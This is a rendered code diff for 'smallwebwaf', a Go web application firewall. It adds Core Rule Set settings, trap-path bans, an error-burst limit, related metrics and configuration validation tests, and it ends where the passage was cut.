// EventAnomaly is a count of requests or bytes over an anomaly // EventAnomaly is a count of requests or bytes over an anomaly
// threshold. // threshold.
EventAnomaly = "anomaly" EventAnomaly = "anomaly"
// EventWAFBlock comes with the Core Rule Set; nothing raises it yet. // EventWAFBlock is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
EventWAFBlock = "waf_block" EventWAFBlock = "waf_block"
// EventReputationHit is a request whose client a blocklist, the // EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score // CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
+18 -10
View File
@@ -1,6 +1,7 @@
// Package bans is the ban ledger: the bans smallwebwaf makes on the // Package bans is the ban ledger: the bans smallwebwaf makes on the
// netblocks of clients that break a rate limit or a byte limit, show a // netblocks of clients that break a rate limit, a byte limit or the error
// clear sign of attack or are listed by the CrowdSec decision list, and // burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md // those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and // describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package. // read from it by the state package.
@@ -103,10 +104,11 @@ type Notes struct {
ASName string `json:"as_name"` ASName string `json:"as_name"`
Country string `json:"country"` Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit, // Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit or "bytes" for a // what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit, the limit that was broken, its window, "minute", "hour" // byte limit or "refusals" for the error burst, the limit that was
// or "day", and the count reached: the client's requests, or bytes, in // broken, its window, "minute", "hour" or "day", and the count reached:
// the window, those of the request that broke the limit included. // the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
// These are what counted toward the ban, and the window is the time // These are what counted toward the ban, and the window is the time
// over which they came. // over which they came.
Kind string `json:"kind,omitempty"` Kind string `json:"kind,omitempty"`
@@ -120,9 +122,11 @@ type Notes struct {
LimitPercent *int64 `json:"limit_percent,omitempty"` LimitPercent *int64 `json:"limit_percent,omitempty"`
LimitPercentSetting string `json:"limit_percent_setting,omitempty"` LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id // RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target. // of the rule file rule that matched, and its target; TrapPath is, for
RuleID string `json:"rule_id,omitempty"` // one for a request for a path in SWWAF_TRAP_PATHS, that path.
Target string `json:"target,omitempty"` RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
TrapPath string `json:"trap_path,omitempty"`
// Reputation is the reputation sources that listed the client when // Reputation is the reputation sources that listed the client when
// the request that caused the ban was made, in the order the request // the request that caused the ban was made, in the order the request
// log's reputation names them. It is left out when none did. // log's reputation names them. It is left out when none did.
@@ -311,7 +315,7 @@ func (l *Ledger) WouldBanForLimit(
// notes, and returns the ban, and whether it made it, as BanForLimit // notes, and returns the ban, and whether it made it, as BanForLimit
// does. A first ban lasts AttackBanDuration; once the netblock has had // does. A first ban lasts AttackBanDuration; once the netblock has had
// one that was not lifted, the next is permanent. Its reason is "matched // one that was not lifted, the next is permanent. Its reason is "matched
// the rule <RuleID>". // the rule <RuleID>", or "asked for the trap path <TrapPath>".
func (l *Ledger) BanForAttack( func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes, netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) { ) (Ban, bool) {
@@ -382,6 +386,10 @@ func limitReason(notes Notes) string {
// attackReason is the reason of a ban for a clear sign of attack, with // attackReason is the reason of a ban for a clear sign of attack, with
// notes. // notes.
func attackReason(notes Notes) string { func attackReason(notes Notes) string {
if notes.TrapPath != "" {
return "asked for the trap path " + notes.TrapPath
}
return "matched the rule " + notes.RuleID return "matched the rule " + notes.RuleID
} }
+178 -8
View File
@@ -42,8 +42,8 @@ type Config struct {
InstanceName string InstanceName string
// Observe is true in observe mode, when SWWAF_MODE is observe rather // Observe is true in observe mode, when SWWAF_MODE is observe rather
// than enforce: a request that SWWAF_DENY_NETS, a ban, the country // than enforce: a request that SWWAF_DENY_NETS, a ban, the country
// lists, a rate limit or a rule would refuse is passed to the app // lists, a rate limit, a rule or the Core Rule Set would refuse is
// instead, and no ban is made. // passed to the app instead, and no ban is made.
Observe bool Observe bool
// TrustedProxies are the netblocks whose X-Forwarded-For is // TrustedProxies are the netblocks whose X-Forwarded-For is
// believed (SWWAF_TRUSTED_PROXIES). // believed (SWWAF_TRUSTED_PROXIES).
@@ -239,6 +239,29 @@ type Config struct {
// unless RulesEnabled is false (SWWAF_RULES_ENABLED). // unless RulesEnabled is false (SWWAF_RULES_ENABLED).
RulesDir string RulesDir string
RulesEnabled bool RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
WAFDisabledRules []int
WAFExemptPaths []string
WAFBodyLimit int64
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// ErrorBurstThreshold is the most requests of a client within a minute
// that smallwebwaf may refuse after a rule file or Core Rule Set match
// or for a missing or wrong token; one more breaks a limit
// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent // LogRemoteURL is where every line on stdout is also sent
// (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent. // (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's // LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
@@ -302,6 +325,16 @@ type Config struct {
// off. // off.
const off = "off" const off = "off"
// The values of SWWAF_WAF_MODE.
const (
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
// WAFModeDetect logs and alerts a match, and refuses nothing.
WAFModeDetect = "detect"
// WAFModeBlock refuses a match with 403.
WAFModeBlock = "block"
)
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the // fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
// lookup database, the file SWWAF_LOOKUP_DB_PATH names. // lookup database, the file SWWAF_LOOKUP_DB_PATH names.
const fileSource = "file" const fileSource = "file"
@@ -319,6 +352,14 @@ const (
minIPv6GroupPrefix = 32 minIPv6GroupPrefix = 32
// minTokenLength is the fewest characters a token may have. // minTokenLength is the fewest characters a token may have.
minTokenLength = 32 minTokenLength = 32
// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
maxParanoiaLevel = 4
// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
// keeps for the rules that set it up, which smallwebwaf's own rules
// have too (see internal/waf). Switching one off would undo a change
// that no setting undoes.
firstSetupRuleID = 900000
lastSetupRuleID = 900999
// masked is what the log shows for a token that is set, and in place of // masked is what the log shows for a token that is set, and in place of
// a secret in another setting. // a secret in another setting.
masked = "********" masked = "********"
@@ -357,6 +398,7 @@ var (
errNeedsDBPath = errors.New("it names the file to look clients up in") errNeedsDBPath = errors.New("it names the file to look clients up in")
errDBPathUnused = errors.New("only file reads it") errDBPathUnused = errors.New("only file reads it")
errNotOver4K = errors.New("is not a size of more than 4K, such as 32K") errNotOver4K = errors.New("is not a size of more than 4K, such as 32K")
errOver1G = errors.New("is more than 1G, the most Coraza reads")
errNotDurationAboveZero = errors.New( errNotDurationAboveZero = errors.New(
"is not a duration above zero, such as 1h or 7d") "is not a duration above zero, such as 1h or 7d")
errNotNumberAboveZero = errors.New( errNotNumberAboveZero = errors.New(
@@ -378,6 +420,15 @@ var (
errNotBytesCount = errors.New("is not response, request or both") errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New( errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/") "is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100")
errSetupRuleID = errors.New(
"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
"up and of smallwebwaf's own, which cannot be switched off")
errNotBoolean = errors.New("is not true or false") errNotBoolean = errors.New("is not true or false")
errNotLogRemoteURL = errors.New( errNotLogRemoteURL = errors.New(
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -499,12 +550,21 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS", LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range"), "accept,accept-language,accept-encoding,content-type,origin,range"),
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"), LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"), AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"), MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off),
TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"),
@@ -708,6 +768,15 @@ func (e *environment) size(name, defaultValue string) int64 {
return size return size
} }
// wafBodyLimit reads the setting that is the most of a request body the
// Core Rule Set reads.
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
e.check(name, err)
return limit
}
// headerSize reads the setting that is the largest request line and // headerSize reads the setting that is the largest request line and
// headers. // headers.
func (e *environment) headerSize(name, defaultValue string) int64 { func (e *environment) headerSize(name, defaultValue string) int64 {
@@ -744,6 +813,48 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes return prefixes
} }
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
paths, err := parseTrapPaths(e.value(name, ""))
e.check(name, err)
return paths
}
// wafMode reads the setting that is what the Core Rule Set does: off,
// detect or block.
func (e *environment) wafMode(name, defaultValue string) string {
mode := e.value(name, defaultValue)
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
}
return mode
}
// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
// level, from 1 to 4.
func (e *environment) paranoiaLevel(name, defaultValue string) int {
value := e.value(name, defaultValue)
level, err := strconv.Atoi(value)
if err != nil || level < 1 || level > maxParanoiaLevel {
e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
}
return level
}
// ruleIDs reads the setting that is a list of the ids of Core Rule Set
// rules.
func (e *environment) ruleIDs(name, defaultValue string) []int {
ids, err := parseRuleIDs(e.value(name, defaultValue))
e.check(name, err)
return ids
}
// countries reads a setting that is a list of countries. // countries reads a setting that is a list of countries.
func (e *environment) countries(name, defaultValue string) []string { func (e *environment) countries(name, defaultValue string) []string {
countries, err := parseCountries(e.value(name, defaultValue)) countries, err := parseCountries(e.value(name, defaultValue))
@@ -1334,6 +1445,22 @@ func parseHeaderSize(value string) (int64, error) {
return size, nil return size, nil
} }
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 1G, since
// Coraza, which runs the Core Rule Set, refuses to load with more.
func parseWAFBodyLimit(value string) (int64, error) {
limit, err := parseSize(value)
if err != nil {
return 0, err
}
if limit > gibibyte {
return 0, fmt.Errorf("%q %w", value, errOver1G)
}
return limit, nil
}
// splitUnit splits a size into its number and the bytes its suffix // splitUnit splits a size into its number and the bytes its suffix
// stands for. // stands for.
func splitUnit(value string) (string, int64) { func splitUnit(value string) (string, int64) {
@@ -1536,6 +1663,49 @@ func parsePathPrefixes(value string) ([]string, error) {
return prefixes, nil return prefixes, nil
} }
// parseTrapPaths reads a comma-separated list of trap paths. Each is
// matched against a request's path as a path rule is, without the query,
// so a path that does not start with / or holds a ? would never match.
func parseTrapPaths(value string) ([]string, error) {
paths, err := parseList(value)
if err != nil {
return nil, err
}
for _, path := range paths {
if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") {
return nil, fmt.Errorf("%q %w", path, errNotTrapPath)
}
}
return paths, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
func parseRuleIDs(value string) ([]int, error) {
items, err := parseList(value)
if err != nil {
return nil, err
}
ids := make([]int, len(items))
for i, item := range items {
ids[i], err = strconv.Atoi(item)
if err != nil || ids[i] <= 0 {
return nil, fmt.Errorf("%q %w", item, errNotRuleID)
}
if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
}
}
return ids, nil
}
// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK, // countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
// the code in common use for Kosovo. golang.org/x/text/language cannot // the code in common use for Kosovo. golang.org/x/text/language cannot
// check them: it also takes withdrawn codes such as su, and reserved ones // check them: it also takes withdrawn codes such as su, and reserved ones
+201
View File
@@ -91,6 +91,14 @@ const (
logLevel = "SWWAF_LOG_LEVEL" logLevel = "SWWAF_LOG_LEVEL"
rulesDir = "SWWAF_RULES_DIR" rulesDir = "SWWAF_RULES_DIR"
rulesEnabled = "SWWAF_RULES_ENABLED" rulesEnabled = "SWWAF_RULES_ENABLED"
wafMode = "SWWAF_WAF_MODE"
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
trapPaths = "SWWAF_TRAP_PATHS"
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWWAF_LOG_REMOTE_URL" logRemoteURL = "SWWAF_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE" logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER" logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
@@ -168,6 +176,9 @@ const (
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL. // defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
const defaultReputationCacheTTL = "24h" const defaultReputationCacheTTL = "24h"
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS. // defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
"content-type,origin,range" "content-type,origin,range"
@@ -495,6 +506,188 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
} }
} }
func TestTrapPathsAndErrorBurstThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
paths []string
threshold int64
}{
{environment{}, []string{}, 30},
{
environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"},
[]string{"/wp-login.php", "/xmlrpc.php"}, 5,
},
{environment{errorBurstThreshold: off}, []string{}, 0},
} {
cfg := fromEnvironment(t, tc.env)
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
cfg.ErrorBurstThreshold != tc.threshold {
t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths,
cfg.ErrorBurstThreshold, tc.paths, tc.threshold)
}
}
}
func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
t.Parallel()
const notTrapPath = " is not a path starting with / and without a ?, " +
"such as /wp-login.php"
for _, tc := range []struct{ name, value, want string }{
{trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath},
{trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath},
{
trapPaths, "/wp-login.php,,/xmlrpc.php",
`"/wp-login.php,,/xmlrpc.php" has an empty item in its list`,
},
{errorBurstThreshold, "0", `"0" must be more than zero, or off`},
{
errorBurstThreshold, "30/min",
`"30/min" is not a whole number of requests such as 1000, or off`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestCoreRuleSetSettings(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want config.Config
}{
{
environment{},
config.Config{
WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
WAFExemptPaths: []string{},
},
},
{
environment{
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
wafBodyLimit: "128K",
},
config.Config{
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
WAFDisabledRules: []int{942100, 920350},
WAFExemptPaths: []string{"/api/", "/static/"},
WAFBodyLimit: 128 << 10,
},
},
{
environment{
wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "",
wafBodyLimit: off,
},
config.Config{
WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
},
},
} {
cfg := fromEnvironment(t, tc.env)
got := config.Config{
WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
WAFBodyLimit: cfg.WAFBodyLimit,
}
if !reflect.DeepEqual(got, tc.want) {
t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
}
}
}
func TestWAFBodyLimitOf1G(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{wafBodyLimit: "1G"})
if cfg.WAFBodyLimit != 1<<30 {
t.Errorf("1G read as %d", cfg.WAFBodyLimit)
}
}
func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
t.Parallel()
const (
notParanoiaLevel = " is not a paranoia level, from 1 to 4"
setupRule = " is from 900000 to 900999, the ids of the rules that set " +
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
)
for _, tc := range []struct{ name, value, want string }{
{wafMode, "enforce", `"enforce" is not off, detect or block`},
{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
{
wafAnomalyThreshold, "0",
`"0" is not a whole number above zero, such as 60, or off`,
},
{
wafDisabledRules, "920340,REQUEST-920",
`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
{
wafDisabledRules, "-942100",
`"-942100" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
// The paranoia level, the allowed methods, the headers refused, a
// request with more query parameters than Coraza keeps, and a body
// Coraza cannot parse or that fails its strict checks.
{wafDisabledRules, "942100,900000", `"900000"` + setupRule},
{wafDisabledRules, "942100,900200", `"900200"` + setupRule},
{wafDisabledRules, "942100,900250", `"900250"` + setupRule},
{wafDisabledRules, "942100,900300", `"900300"` + setupRule},
{wafDisabledRules, "942100,900440", `"900440"` + setupRule},
{wafDisabledRules, "942100,900450", `"900450"` + setupRule},
{
wafExemptPaths, "api/",
`"api/" is not a path prefix starting with /, such as /assets/`,
},
{
wafBodyLimit, "128KB",
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
},
{wafBodyLimit, "2G", `"2G" is more than 1G, the most Coraza reads`},
{
wafBodyLimit, "1073741825",
`"1073741825" is more than 1G, the most Coraza reads`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
t.Parallel() t.Parallel()
@@ -2233,6 +2426,14 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
logLevel: "info", logLevel: "info",
rulesDir: "/etc/smallwebwaf/rules.d", rulesDir: "/etc/smallwebwaf/rules.d",
rulesEnabled: "true", rulesEnabled: "true",
wafMode: config.WAFModeBlock,
wafParanoiaLevel: "1",
wafAnomalyThreshold: "5",
wafDisabledRules: defaultWAFDisabledRules,
wafExemptPaths: "",
wafBodyLimit: off,
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "", logRemoteURL: "",
logRemoteTLSCAFile: "", logRemoteTLSCAFile: "",
logRemoteBuffer: "10000", logRemoteBuffer: "10000",
+39 -20
View File
@@ -6,7 +6,6 @@ package metrics
import ( import (
"net/http" "net/http"
"strconv" "strconv"
"strings"
"time" "time"
"github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus"
@@ -37,6 +36,7 @@ type Metrics struct {
rateLimitHits *prometheus.CounterVec rateLimitHits *prometheus.CounterVec
sizeAndTimeLimitHits *prometheus.CounterVec sizeAndTimeLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec offences *prometheus.CounterVec
wafMatches *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by // ruleMatches are made by AddRules, and reputationHits by
// AddReputation. // AddReputation.
ruleMatches *prometheus.CounterVec ruleMatches *prometheus.CounterVec
@@ -64,6 +64,8 @@ type Metrics struct {
// topN is how many countries and how many AS numbers get series of their // topN is how many countries and how many AS numbers get series of their
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName // own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
// (SWWAF_INSTANCE_NAME) as its label instance. // (SWWAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics { func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"} byStatus := []string{"status_class", "action"}
byFile := []string{"file"} byFile := []string{"file"}
@@ -94,14 +96,17 @@ func New(topN int, instanceName string) *Metrics {
Help: "How long requests passed to the app took, from then to their end.", Help: "How long requests passed to the app took, from then to their end.",
}), }),
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total", rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
"Requests that broke a rate limit or a byte limit, by its window and "+ "Requests that broke a rate limit, a byte limit or the error burst, by "+
"its kind, requests or bytes.", "its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}), []string{"window", "kind"}),
sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total", sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
"Requests that passed a size or time limit, by its setting.", "Requests that passed a size or time limit, by its setting.",
[]string{"limit"}), []string{"limit"}),
offences: counterVec("smallwebwaf_offences_total", offences: counterVec("smallwebwaf_offences_total",
"Offences, by kind.", []string{"kind"}), "Offences, by kind.", []string{"kind"}),
wafMatches: counterVec("smallwebwaf_waf_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN), countries: newCountries(topN),
asns: newASNs(topN), asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -137,7 +142,8 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes, m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration, m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns, m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered, m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
m.stateFileWrites, m.stateFileWriteFailures, m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize, m.stateFileLastWrite, m.stateFileSize,
@@ -407,26 +413,10 @@ func (m *Metrics) RequestEnded(
m.upstreamDuration.Observe(upstreamDuration.Seconds()) m.upstreamDuration.Observe(upstreamDuration.Seconds())
} }
if line.LimitHit != "" {
// The log line names a byte limit's window with _bytes after it.
window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes")
kind := ratelimit.KindRequests
if isBytes {
kind = ratelimit.KindBytes
}
m.rateLimitHits.WithLabelValues(window, kind).Inc()
}
if limit != "" { if limit != "" {
m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc() m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc()
} }
if line.Offence != "" {
m.offences.WithLabelValues(line.Offence).Inc()
}
if line.Country != "" { if line.Country != "" {
m.countries.add(line.Country, line) m.countries.add(line.Country, line)
} }
@@ -436,12 +426,41 @@ func (m *Metrics) RequestEnded(
} }
} }
// LimitHit counts a request that broke a rate limit, a byte limit or the
// error burst, by the window and the kind of hit.
func (m *Metrics) LimitHit(hit ratelimit.Hit) {
m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc()
}
// Offences counts the offences of r, a request that has ended, as its
// client's history counts them, by kind, named as clients.json names
// them.
func (m *Metrics) Offences(r ratelimit.Request) {
for kind, committed := range map[string]bool{
"limit": r.BrokeLimit,
"attack": r.Attack,
"rule_blocked": r.RuleBlocked,
"waf_blocked": r.WAFBlocked,
"token_refused": r.TokenRefused,
} {
if committed {
m.offences.WithLabelValues(kind).Inc()
}
}
}
// RuleMatched counts a request that matched the rule id, whose action is // RuleMatched counts a request that matched the rule id, whose action is
// action. // action.
func (m *Metrics) RuleMatched(id, action string) { func (m *Metrics) RuleMatched(id, action string) {
m.ruleMatches.WithLabelValues(id, action).Inc() m.ruleMatches.WithLabelValues(id, action).Inc()
} }
// WAFMatched counts a request that matched the Core Rule Set's rule id,
// with SWWAF_WAF_MODE at mode.
